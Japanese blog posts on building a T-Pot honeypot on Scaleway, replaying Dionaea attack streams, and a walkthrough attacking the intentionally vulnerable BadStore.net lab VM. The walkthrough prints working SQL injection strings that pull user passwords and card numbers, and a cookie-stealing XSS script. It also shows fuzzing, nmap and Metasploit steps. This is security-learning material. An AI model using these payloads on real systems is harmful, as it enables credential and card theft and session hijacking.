安価で使えるVPSサービスが見つかったことはいいが、AWSと比べるとScalewayに関する情報がかなり少ない。ましてや、Scaleway上でのハニーポット構築に関する記事は皆無。

情報が無いなら、手探りで進めばいいやと腹をくくり、いくつかの地雷を踏みぬいていく。

  • t-pot-autoinstallがコケる
  • 1日経たずにディスク容量を使い切る
  • tpotのサービスが不安定
  • 料金体系をちゃんと理解してない恐怖感

安定稼働までの道のり

これらの地雷を踏みぬきながら安定稼働までこぎつけたので、地雷の避け方を綴る。

t-pot-autoinstallがコケる

T-Potのインストーラ t-pot-autoinstall でサクッとインストールする予定が、何故かコケる。

cp: cannot stat '/usr/share/consolefonts/Uni2-Terminus12x6.psf.gz': No such file or directory

consolefontsディレクトリが無いのは何故だろう?と調べてみると、どうやらconsole-setupというものが入っていないとダメらしい。なので事前にこれをインストールしてあげる。

apt-get install console-setup

無事T-Potがインストールされ、この問題は解決する。
(検索ではかからなかったけど、他の人はこの地雷を踏んでないのかな?)

1日経たずにディスク容量を使い切る

T-Potのインストールが無事完了し、Kibanaでログを見ることができるようになった。
のも束の間。1日経たずしてKibanaからの反応が返ってこなくなった。

サーバーにログインして調べて見ると、ディスク使用率が100%になっており、サービス自体が起動できて無い。 そして気になるのが、プランでは200GB割り当てられているはずのディスクサイズが、たったの50GBしか認識されていない。
どうやら、起動時は50GBのディスクのみマウントされているため、残りの150GBのディスクは自分でマウントしないといけないらしい。

How to attach and detach additional volumes to an existing server - Scaleway

上のドキュメントを読みながら150GBをマウントし、この問題も無事解決する。

tpotのサービスが不安定

今度は、何日か経つとKibanaの挙動がおかしくなった。何故だか動かなくなった機能もある。
またもや調査をすると、不可解なログが目に付く。再起動していないのに、毎日再起動しているではないか。
(これは、t-pot-autoinstallがCronに再起動の設定を追加していることが原因だった)

そして、tpotサービスのエラーとして、ハニーポットのログファイルがバックアップできなかったと出ている。

どうやら毎日再起動をかけており、起動時に毎回ログファイルをバックアップしているらしいのだが、手動で再起動などをしたときに、ログファイルのバックアップに失敗することがあるらしく(権限系だったかな)それが原因でサービスが起動できていなかった(起動できたが一部の機能はダメなど)

ので、ここら辺は手動で再起動などをかけなければ特に起こらないため、気をつければ問題なかった。

料金体系をちゃんと理解してない恐怖感

何回か地雷を踏んでいると、クラウドだしインスタンスを削除してクリーンな状態から作り直せばいいや。という精神になり、サーバーインスタンスの破棄を繰り返す。 料金体系を正確に理解していないので、それがどのように課金されるかわかっていない。

なので、ここら辺は料金系のドキュメントを読みながら、10月分請求の実際に請求額から確認して理解した。

  • Scalewayでは、一つのサーバーインスタンスの連続稼働時間が一定時間以上になると、料金が頭打ちとなりそれ以降は定額となる
    • Linux上からRebootした場合は、稼働時間が途切れずに継続した状態であるため、何回やっても大丈夫

逆に、サーバーインスタンスの停止や削除を行なった場合は、その時点までの稼働時間(H)* 単価が請求に乗ってくる(稼働時間はリセットされてしまう)安定稼働したら、このような使い方は避けた方が無難(それでも1時間当たりの料金が安いため、定額制にならなくても結構安い)

Pricing & Billing - Scaleway

安定稼働のその先

サーバー自体が海外にあるため、ネットワークのレスポンスは若干遅いが、普通に使ってる分ではあまり気にならないレベルのため、この値段で安定して運用できるならコストパフォーマンス的には良かったです。 AWSと比較まではいけなかったので、攻撃頻度の違いなどは比較はできなかったですが、攻撃自体はかなり多いので運用するには良さそうです。

Dionaeaのアクセス数

1日分のSuricataアラート

Scaleway上でのT-Pot構築に関する記事

Dionaeaによる初めての生態観察

はじめに

T-Potを植え始めてからかれこれ2週間以上が経過し、サーバーも安定稼働もしてきたので、各ハニーポットの観察方法について調査していこうと思う。最初のターゲットとしては、ハニーポットの中でも人気が高いDionaeaについての観察方法をまとめてみる。Dionaeaを最初のターゲットにした理由としては、収集したマルウェアの保存場所や種類の特定に関する情報は色々と公開されているのだが、攻撃に関するログの見方や、攻撃の再現方法に関しての情報が全然なく、少し苦労したので。(検索方法が悪かったのと、ドキュメントちゃんと読め説はある)

Dionaeaとは

複数のサービスをネットワーク上に公開することにより、攻撃者からマルウェアのコピーを手に入れるための、マルウェア収集用のハニーポットという解釈。もちろん、攻撃に関するログも収集しているため、どのような方法でマルウェアに感染させられたのかを知ることができる。ちなみに、Dionaeaハエトリグサという意味らしい。

Introduction — dionaea 0.8.0 documentation

f:id:kyonta1022:20181107173001p:plain

稼働サービス

知らないサービスもあるが、こんな感じのものが動いている。

観察に利用するデータ

実際に調査してみた中で、このファイルやディレクトリ大事そうだなーと思うものを載せているため、他に大事そうなものがあったとしても調査の中で見なかったものに関しては登場してきません。

攻撃通信の生データ

サーバーへの要求(in)と応答(out)のラベルがついた攻撃通信のバイトデータで、攻撃を再現する場合に利用する。ファイル単独で見ても旨味は少ないので、関連するファイルをまとめて扱う必要がある。

/data/dionaea/bistreams

収集したマルウェア

ゲットだぜ!したマルウェア達の部屋。ファイル名はハッシュ値になっているため、VirusTotal で種類を調べることが可能。

/data/dionaea/binaries

インシデントログ

何によってインシデントと判定されるのかまでは調べきれていないが、インシデントに関する情報が入っている。bistreamsと違い、時系列かつ読みやすい形式で格納されている模様。

/data/dionaea/log/dionaea.sqlite

観察に必要なツールと使い方に関して

T-Potを運用しているサーバーか、いつも使っている端末にセットアップする。今回の環境では、観察に必要なデータをMacに持ってきてからツールを利用した。

# git clone https://github.com/DinoTools/dionaea.git
cd /dionaea/modules/python/util

攻撃の再現方法

bistreamsに格納されているファイルとutilに含まれているretry.pyを使って、攻撃を再現をすることができる。事前にWiresharkなどでパケットをキャプチャしていれば、pcapファイルとしての保存も可能。

オプション 用途
-t bistreamsファイルのコピー先ファイル名
-H Socket通信での接続先IPアドレス(Dionaea稼働サーバーを指定)
-p Socket通信での接続先Port番号(bistreamsファイルと同じPortを指定)
-r 応答パケットを接続先から受信するかのフラグ(outの部分が必要かどうか)
-s 要求パケットを接続先に送信するかのフラグ(inの部分が必要かどうか)
-f 再現するbistreamsファイル

完全に再現させるには-r -sは必須で、対象ホストはハニーポットが稼働しているサーバーにする。

python retry.py -t retrystream -H xx.xx.xx.xx -p 21 -r -s -f ftpd-21-::ffff:yy.yy.yy.yy-54hS7r

使用可能なオプションについてはpython retry.py --helpで確認するといい(コード量が少ないので、詳細を知りたい場合はコードを見るのもあり)

インシデントログの確認

dionaea.sqliteファイルとutilに含まれているreadlogsqltree.pyを使って、インシデントログの確認を行うことができる。

python readlogsqltree.py  /data/dionaea/log/dionaea.sqlite

使用可能なオプションについてはpython readlogsqltree.py --helpで確認するといい。

観察シナリオ

自分なりの観察シナリオをまとめてみる。

インシデントが溜まる

binariesとかにマルウェアが溜まってきたーや、kibanaで見たら結構攻撃きてるなーなど、なんとなくログ溜まってきてそうだなと思うタイミングを調査のトリガーにしてみる。

# cd /data/dionaea/binaries
# ls | wc -l
221

対象のホストを絞り込む

自分はbistreamsディレクトリをサラーっと眺めて、気になるプロトコルや、通信量が多そうなファイル(マルウェアのダウンロードに成功してる)に目星をつけて、ホストを絞り込む。

# cd /data/dionaea/bistreams
# ls -altrh | grep mssqld
-rw------- 1 tpot tpot 1.8K Nov  7 09:13 mssqld-1433-::ffff:58.244.204.125-ozutsX
-rw------- 1 tpot tpot 113K Nov  7 09:14 mssqld-1433-::ffff:58.244.204.125-lXNimU

インシデントログを確認する

いきなりbistreamsのファイルを使って再現するのもあれかなーと思うので、一旦dionaea.sqliteのログから全体像を確認する。

  • 時系列と通信回数の確認
  • わかりやすい形式でログが残っていれば概要を把握する

時系列と通信回数の確認では、一まとまりの攻撃に絞り込むのとbistreamsを再現したときに、どこの通信がインシデントログの一通信に当たるかを紐づけるために確認しています。(数が合わない場合があるのでここは追って調査予定。インシデントとして記録される条件が影響している?)

# python readlogsqltree.py -r ::ffff:58.244.204.125 /data/dionaea/log/dionaea.sqlite

using database located at /data/dionaea/log/dionaea.sqlite
2018-11-07 09:12:08
  connection 21147 mssqld tcp accept ::ffff:xx.xx.xx.xx:1433 <- ::ffff:58.244.204.125:35037 (21147 None)
   login - user:'sa' password:''
   mssql fingerprint - hostname:'AHKJ-WEBSERVICE' cltintname:'Microl office' appname:'ODBC'
   mssql command - status:complete cmd:'exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on'
2018-11-07 09:12:09
  connection 21148 mssqld tcp accept ::ffff:xx.xx.xx.xx:1433 <- ::ffff:58.244.204.125:1537 (21148 None)
   login - user:'' password:''
   mssql fingerprint - hostname:'AHKJ-WEBSERVICE' cltintname:'Microl office' appname:'ODBC'
   mssql command - status:complete cmd:'exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on'
   mssql command - status:complete cmd:'SELECT @@VERSION '
   mssql command - status:complete cmd:'use master '

以下省略

攻撃を再現させて生データ確認

インシデントのタイムスタンプから2回コネクションが貼られてるなーというのを確認して、時間に若干ズレはあるけどbistreamsの一個めのファイルが2018-11-07 09:12:08のやり取りで、二個目のファイルが2018-11-07 09:12:09だろうなーと推測。

こちらも再生してみる。

$ python retry.py -t retrystream -H xx.xx.xx.xx -p 1433 -r -s -f mssqld-1433-::ffff:58.244.204.125-ozutsX
doing mssqld-1433-::ffff:58.244.204.125-ozutsX
$ python retry.py -t retrystream -H xx.xx.xx.xx -p 1433 -r -s -f mssqld-1433-::ffff:58.244.204.125-lXNimU
doing mssqld-1433-::ffff:58.244.204.125-lXNimU

Wiresharkで見てみると(通信の一部)。 f:id:kyonta1022:20181107200452p:plain

まとめ

と、観察するときにみるべきファイルや、観察の流れについては自分なりに整理できたと思うので、今後これをベースに攻撃方法の理解と、落としていったマルウェアの解析(動的、静的)を行っていけるといいな。(時間が足りれば・・・)

Scaleway上にHoneypot(T-Pot)をインストールする

はじめに

マルウェアとじゃれたり、攻撃者の足跡を観察してみたいと思ったのでハニーポットの運用をしてみることにした。ハニーポットって聞いたことはあるけど使ったことがなかったので、何か簡単にセットアップできてサクッと見れるのないかなーと思っていたら、 T-Pot というお菓子の詰め合わせみたいなものがあったので、それを使ってみることにしました。ただ、 T-Pot は要求するスペックが高い(メモリ4GB以上、DISK64GB以上)

f:id:kyonta1022:20181024000055j:plain

GitHub - dtag-dev-sec/tpotce: T-Pot Universal Installer and T-Pot ISO Creator

※ 2018/10/29 自動的にプロビジョニングする playbook を作成したので、以下の手順を実行しなくても構築可能

github.com

環境選定

ハニーポットを構築するにあたり、VPSの利用か自宅で鯖を立てるかのどちらにしようか悩んだ結果、以下の理由からVPSを使うことにした。

VPSを選んだ理由

  • 賃貸だから固定IPを取るのめんどくさい(申請)
  • T-Potに耐えられるスペックのマシンが一台しかない
  • 固定IP + 電気代を考えるならクラウド使うのと料金変わらなかったりする?
  • 単純に旬のVPS使ってみたい

利用するVPS

当初はAWS一択(それ以外全然知らないし意識してなかった)だったが、友人から安いVPS Scaleway があることを教えてもらい、急遽そちらを使うことにした。 ざっくり料金を見積もるとこんな感じになりそうだったので、お小遣い制の自分からするとどちらを使うべきかは明白。

※ Kibana が重いため最終的には 1-L のタイプ(約2,000円)を利用。

VPS インスタンスタイプ 値段
EC2 t2.mediam 約5,000円
Scaleway Start 1-M 約1,000円

www.scaleway.com

Scaleway利用の流れ

早速 Scaleway を利用してみる。

支払い情報入力

ログイン情報を入力してアカウント作成 f:id:kyonta1022:20181023105059p:plain

同意 f:id:kyonta1022:20181023105115p:plain

メールアドレスの確認 f:id:kyonta1022:20181023105143p:plain

電話番号の入力(この後確認コードが飛んでくる)。81日本 + 090の先頭を削除した 90 から番号を入力する。 f:id:kyonta1022:20181023105321p:plain

最後にクレジットカード(必須)と住所情報を入力して完了(画面違うけど) f:id:kyonta1022:20181023105512p:plain

サーバーインスタンス作成

左上の Create Server ボタンを押してサーバーインスタンス作成画面に飛ぶ。今回はT-Potのスペックを満たす以下のサーバーを選択。ちなみにロケーションは Amsterdam の方がレスポンスが早かった。

f:id:kyonta1022:20181024225833p:plain

OSは Ubuntu 16.04.x(Xenial)を選択

f:id:kyonta1022:20181023110030p:plain

ディスクの選択(ちなみに 150GB volumeが付いてきてるが、サーバーインスタンス起動時はマウントされてない状態なので、別途マウントする必要がある。マウントしないとシステムボリュームの 50GB だけしか使えない)

f:id:kyonta1022:20181024225940p:plain

あとはそのままで、一番下の方にあるlaunchで完了する

f:id:kyonta1022:20181023231534p:plain

アタッチメントされたディスクのマウント

これをやってなかったので、一日立たずに無事死亡しました。なので絶対やりましょう。公式にマウントまでの手順があるので、これを実施する。

How to attach and detach additional volumes to an existing server - Scaleway

fdisk -l で追加でアタッチメントされているディスクを調べる(今回のは /dev/vdb: 139.7 GiB

# fdisk -l
Disk /dev/vda: 46.6 GiB, 50000000000 bytes, 97656250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 217FDD50-4437-4A58-8524-09728E4353CA

Device      Start      End  Sectors  Size Type
/dev/vda1  206848 97656216 97449369 46.5G Linux filesystem
/dev/vda15   2048   206847   204800  100M EFI System

Partition table entries are not in disk order.


Disk /dev/vdb: 139.7 GiB, 150000000000 bytes, 292968750 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

フォーマット

# mkfs -t ext4 /dev/vdb

マウント

# mkdir /data
# mount /dev/vdb /data

再起動してもマウントされるようにする

# vi /etc/systemd/system/data.mount
[Unit]
Description=Mount NDB Volume at boot

[Mount]
What=UUID="a0630171-a6c0-4f61-ab75-caeb55982eb2"
Where=/data
Type=ext4
Options=defaults

[Install]
WantedBy=multi-user.target

リロードと有効化

# systemctl daemon-reload
# systemctl start data.mount
# systemctl enable data.mount

T-Potが使えるようになるまで

ハニーポッターとして、群がってくる奴らを観察できるようにする。

インストール

サーバーにログインする

ssh root@xx.xx.xx.xx

Gitコマンドインストール

apt-get update
apt-get install -y git

console-setup のインストール。これがないと cp: cannot stat '/usr/share/consolefonts/Uni2-Terminus12x6.psf.gz': No such file or directory というエラーがゴール手前で発生する。

apt-get install console-setup

ユーザを追加する(tpotユーザはこの中で使われるため避ける)

# adduser honeypotter
# mkdir /home/honeypotter/.ssh
# cp /home/ubuntu/.ssh/authorized_keys /home/honeypotter/.ssh/
# chown -R honeypotter:honeypotter /home/honeypotter/.ssh

T-Potのインストーラ実行

# git clone https://github.com/dtag-dev-sec/t-pot-autoinstall.git
# cd t-pot-autoinstall
# sudo su
# ./install.sh

T-Potで使用するユーザを尋ねられるので、上で作成したユーザ honeypotter を指定する

Make sure the SSH login for your normal user is working!

Which user do you usually work with? This script is invoked by root, but what is your normal username?
Enter username: honeypotter

インストールタイプの選択

##########################################################
#                                                        #
#     How do you want to proceed? Enter your choice.     #
#                                                        #
#     Required: 4GB RAM, 64GB disk                       #
#     Recommended: 8GB RAM, 128GB SSD                    #
#                                                        #
# 1 - T-Pot's STANDARD INSTALLATION                      #
#     Standard Honeypots, Suricata & ELK                 #
#                                                        #
# 2 - T-Pot's HONEYPOTS ONLY                             #
#     Honeypots only, w/o Suricata & ELK                 #
#                                                        #
# 3 - T-Pot's INDUSTRIAL EDITION                         #
#     Conpot, eMobility, Suricata & ELK                  #
#                                                        #
# 4 - T-Pot's FULL INSTALLATION                          #
#     Everything                                         #
#                                                        #
##########################################################

Your choice: 1

webアクセスするときのパスワード設定を求められるので適当な情報を入力

### Removing NGINX default website. 
### Please enter a password for your user honeypotter for web access. 
Password: xxxx
Repeat password: xxxx
Adding password for user honeypotter

全てのセットアップが正常に終了すると、サーバーが再起動する。

webから状況を観察する

再起動したら以下のURLにアクセスすると、無事 Kibana のUIが表示される。

https://xx.xx.xx.xx:64297

f:id:kyonta1022:20181023234706p:plain

SSHでログインする

ポートが22番から64295に変更されている

ssh root@xx.xx.xx.xx -p 64295

BadStore.netを使った脆弱性調査

WEBアプリ関係の脆弱性調査について一通り勉強したということで、実際にやられサーバーを使って脆弱性調査にチャンレンジしてみる。

環境構築

調査の前に、やられサーバーを構築する。

仮想マシン

BadStoreのisoをダウンロード

以下のサイトからisoをダウンロードする。 www.vulnhub.com

VMware Workstation 12 Playerで仮想マシンを作成

ゲストOS = Linux

バージョン = 他のLinux2.4.xカーネル

f:id:kyonta1022:20180830113813p:plain

仮想マシン起動

仮想マシンのコンソールから、 ifconfigIPアドレスを調べる。

http://192.168.11.6/

f:id:kyonta1022:20180830113521p:plain

外部の端末からアクセスできるようにする

訳あってVMを起動している端末とは別の端末から試みたため、外部からアクセスできるような設定をする。

netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.11.6 connectport=80 connectaddress=192.168.157.132
netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.11.6 connectport=443 connectaddress=192.168.157.132
netsh interface portproxy add v4tov4 listenport=3306 listenaddress=192.168.11.6 connectport=3306 connectaddress=192.168.157.132

WEBアプリの脆弱性調査

機能ごとにどんな脆弱性が存在しそうかを調べていく。

全ての画面に出てきている検索機能。検索ボタンを押した瞬間から確実にSQLiが存在していると匂わせる画面。

f:id:kyonta1022:20180830114937p:plain

DB情報収集

わざと失敗させてエラーを吐かせてみる。

'

表示されたエラーから、DBMSMySQLだと判明。

DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN (itemnum,sdesc,ldesc)' at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 207.

次にMySQLのバージョンを取得してみる。

a' = 'a' UNION SELECT VERSION(),2,3,4 #

f:id:kyonta1022:20180830115146p:plain

テーブル名とカラム名の推測

バージョンは、 4.1.7-standard だと判明。調べてみるとこのバージョンでは information_schema は使えないらしい。(5系から使える) information_schemaが使えないということは、テーブル名の一覧などが簡単に取得できなそう。考えた末、とりあえず全体のページ数が少なそうなので、画面から存在しそうなテーブルを推測してみることにした。サラサラと見た感じ、 user 系と item 系の2種類があるのかな?と推測。命名規則的には表示されたSQLから xxxdb という形式なのかなと判断し、試してみる。

a' = 'a' UNION SELECT email,2,3,4 FROM userdb #

ユーザのメールアドレスが取得できた。

f:id:kyonta1022:20180830115306p:plain

他のカラム名もHTML内に存在するページ(http://192.168.11.6/cgi-bin/badstore.cgi?action=loginregister)から推測する。

password => NG

a' = 'a' UNION SELECT password,2,3,4 FROM userdb #

passwd = OK

a' = 'a' UNION SELECT passwd,2,3,4 FROM userdb #

fullname = OK

a' = 'a' UNION SELECT fullname,2,3,4 FROM userdb #

pwdhint = OK

a' = 'a' UNION SELECT pwdhint,2,3,4 FROM userdb #

収集したカラム名を全て表示させてみる。

a' = 'a' UNION SELECT fullname,email,passwd,pwdhint FROM userdb #

SQLiによるユーザ情報抽出

入力エリアのサイズ制限にかかって入力しきれないので、URLを直接指定してGETリクエストを投げる。

http://192.168.11.6/cgi-bin/badstore.cgi?searchquery=a%27+%3D+%27a%27+UNION+SELECT+email%2Cpasswd%2Cfullname%2Cpwdhint+FROM+userdb+%23&action=search&x=0&y=0

f:id:kyonta1022:20180830115410p:plain

ユーザ情報の漏洩を確認することができた。

Guestbook

ホテルなどにあるゲストブックのオンライン版?誰でも書き込める所なので、XSS脆弱性があるとまずいが、XSS脆弱性がありそうだ。

f:id:kyonta1022:20180830115619p:plain

入力可能な文字列の調査

名前、メール、コメントの3項目あるので、とりあえず全ての項目に以下の文字列を入れて投稿してみる。

<>'

ゲストブックを表示する画面のHTMLを確認してみると、そのまま表示されていることが確認できる。

Wednesday, August 29, 2018 at 19:34:06: <B><>'</B> <A HREF=mailto:<>'><>'</A>
<OL><I><>'
</I></OL>
<HR>

XSSを仕掛ける

このサイトで使っているCookieで、どんな情報をXSSで引っこ抜くと悪用できそうかを探していると、 SSOid というやばそうな項目を発見。Single Sign On?試しに自分のアカウントを作成して何度かログインしてみると、毎回同じ値が設定されていたので、ユーザ毎に一意の値が決まっていそう。セッションハイジャックに使えそうな匂いがするので、これを取得する。

ゲストブックへの投稿で以下のスクリプトを仕掛ける。今回は単純に、閲覧した人のSSOidをゲストブックに投稿する。

<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');xhr.send('name=myname&email=xxx@mail&comments='+cookie);</script>
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');
xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');
xhr.send('name=myname&email=xxx@mail&comments='+cookie);
</script>

adminユーザでゲストブックを閲覧する

XSSを一度踏むためにadminユーザでログインしているが、SQLiで取得したadminのパスワードはmd5でハッシュ化してあるため、以下のオンラインサービスを利用して平文を取得している。

md5.gromweb.com

adminユーザでGuestBookを閲覧すると、以下の内容が自動的に投稿される。

Wednesday, August 29, 2018 at 22:36:52: myname xxx@mail
SSOid=YWRtaW46NWViZTIyOTRlY2QwZTBmMDhlYWI3NjkwZDJhNmVlNjk6TWFzdGVyIFN5c3RlbSBBZG1p

adminとして不正ログイン

chromeの開発者ツールで、Cookie内のSSOidを書き換えると、ユーザ情報が切り替わる。account変更画面からパスワードを勝手に変えてしまい、その後は普通にそのログイン情報を使うのもあり。

f:id:kyonta1022:20180830120212p:plain

Place Order

商品の購入時に、クレジットカード情報を入力する画面がある。ということは、クレジットカード情報も存在するはずなので、それを抜き取ってみる。

f:id:kyonta1022:20180830124941p:plain

SQLiによるクレジットカード情報抽出

色々見ていると order という単語をよく使っているので、購入情報として orderdb が存在するかなと予測して試してみる。カラム名は、クレジットカード入力画面から推測した。

a' = 'a' UNION SELECT ccard,expdate,3,4 FROM orderdb #

案の定クレジットカードの情報が抜き出せた。ユーザとの紐付けはどんなカラムを持っているか推測しきれなかった。

f:id:kyonta1022:20180830125042p:plain

BadStoreサーバー全体の脆弱性調査

WEBアプリ以外の部分で、どのような脆弱性が存在するか調査する。

非公開情報の探索

Wfuzzというファジーツールを使って非公開ディレクトリの探索を行ってみる。 fuzz が何を意味するか知らなかったため調べていると、fuzzとは以下のような意味合いがあるらしい。

「ファジング」とは、検査対象のソフトウェア製品に「ファズ(英名:fuzz)」と呼ばれる問題を引き起こしそうなデータを大量に送り込み、その応答や挙動を監視することで脆弱性を検出する検査手法です。例えば、あるソフトウェア製品に極端に長い文字列や通常用いないような制御コードなどを送り込み、状態を観察します。その結果、予期せぬ異常動作や異常終了、再起動などが発生した場合、このソフトウェア製品の処理に何らかの問題がある可能性が高いと判断できます。このように、ソフトウェア製品(の製品開発者)が想定していないデータを入力し、その挙動から脆弱性を見つけ出す検査手法を「ファジング」と言います。 https://www.ipa.go.jp/files/000057652.pdf

Wfuzzのインストールや使い方に関しては以下。

Wfuzz: The Web fuzzer — Wfuzz 2.1.4 documentation

辞書によるディレクトリ探索

# wfuzz -w common.txt --filter "c=200"  http://192.168.11.6/FUZZ/

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/FUZZ/
Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000111:  C=200     13 L       48 W      537 Ch    "backup"
000426:  C=200     16 L       72 W      886 Ch    "icons"
000429:  C=200     39 L      256 W     3572 Ch    "images"

Total time: 4.259704
Processed Requests: 950
Filtered Requests: 947
Requests/sec.: 223.0201

--filter をつけることによって、レスポンスが200のものだけに絞っている。backup というディレクトリに対しては、普通に画面を触っているだけでは導線がなかったため、本来は非公開ディレクトリなのだと推測。

辞書によるパラメータ探索

# wfuzz -w common.txt --filter "chars!=4046"  http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ
Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000060:  C=200    100 L      291 W     4529 Ch    "admin"
000398:  C=200     92 L      283 W     4431 Ch    "guestbook"
000596:  C=200     90 L      249 W     3986 Ch    "order"
000727:  C=200     90 L      274 W     4137 Ch    "search"

Total time: 20.15347
Processed Requests: 950
Filtered Requests: 946
Requests/sec.: 47.13828

ここで考慮したいのが、間違ったアクションを指定しているとトップ画面に飛ばされるため、404などのレスポンスコードは返ってこない。なので、トップ画面の文字数以外のレスポンスが返ってきた場合、正常に受理されたリクエストであると判断するため、 --filter "chars!=4046" を指定している。

action=admin は通常の画面からの導線としては存在しなかったので、非公開ページだと推測。このページは、管理者権限で色々な情報が見れてしまうページだった。

辞書によるページ探索

# wfuzz -w cgis.txt --filter "c=200"  http://192.168.11.6/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/FUZZ
Total requests: 3295

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000100:  C=200     89 L      221 W     3583 Ch    "./"
002136:  C=200     39 L      256 W     3572 Ch    "images/"
002137:  C=200     39 L      256 W     3572 Ch    "images/?pattern=/etc/*&sort=name"
002064:  C=200     16 L       72 W      886 Ch    "icons/"
000672:  C=200     13 L       48 W      537 Ch    "backup/"
002756:  C=200     15 L       34 W      316 Ch    "robots.txt"
001525:  C=200      4 L       18 W      237 Ch    "cgi-bin/test.cgi"
000005:  C=200     89 L      221 W     3583 Ch    "%2e/"
Total time: 13.89689
Processed Requests: 3295
Filtered Requests: 3287
Requests/sec.: 237.1033

目新しい情報としては、 test.cgi というページ。中身をみると、テストで使用していたユーザ情報的なのが表示されていた。

公開されたデータベースへのログイン

nmapを使って、サーバー上でどのようなサービスが存在するのか確認する。

$ sudo nmap -sS -A 192.168.11.6

Starting Nmap 7.50 ( https://nmap.org ) at 2018-09-09 00:20 JST
Nmap scan report for 192.168.11.6
Host is up (0.0013s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE         VERSION
80/tcp   open  http            Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c
|_http-title: Welcome to BadStore.net v1.2.3s
443/tcp  open  ssl/http        Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c
|_http-title: Welcome to BadStore.net v1.2.3s
| ssl-cert: Subject: commonName=www.badstore.net/organizationName=BadStore.net/stateOrProvinceName=Illinois/countryName=US
| Subject Alternative Name: email:root@badstore.net
| Not valid before: 2006-05-10T12:52:53
|_Not valid after:  2009-02-02T12:52:53
|_ssl-date: 2018-09-09T00:20:26+00:00; +8h59m54s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_IDEA_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
3306/tcp open  mysql           MySQL 4.1.7-standard
| mysql-info: 
|   Protocol: 10
|   Version: 4.1.7-standard
|   Thread ID: 23
|   Capabilities flags: 33324
|   Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: )SGIzLKs%YrQ~I/Mt&Zu

辞書の用意

ログインを試みるため、ユーザーとパスワードの辞書を用意する。今回は、wfuzzのマニュアルの中で見つけた SecLists というのを使ってみることにした。

GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.

# git clone https://github.com/danielmiessler/SecLists.git

mysql-betterdefaultpasslist.txt をスペース区切りに変えて利用した。

metasploitでログイン情報確認

# msfconsole
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
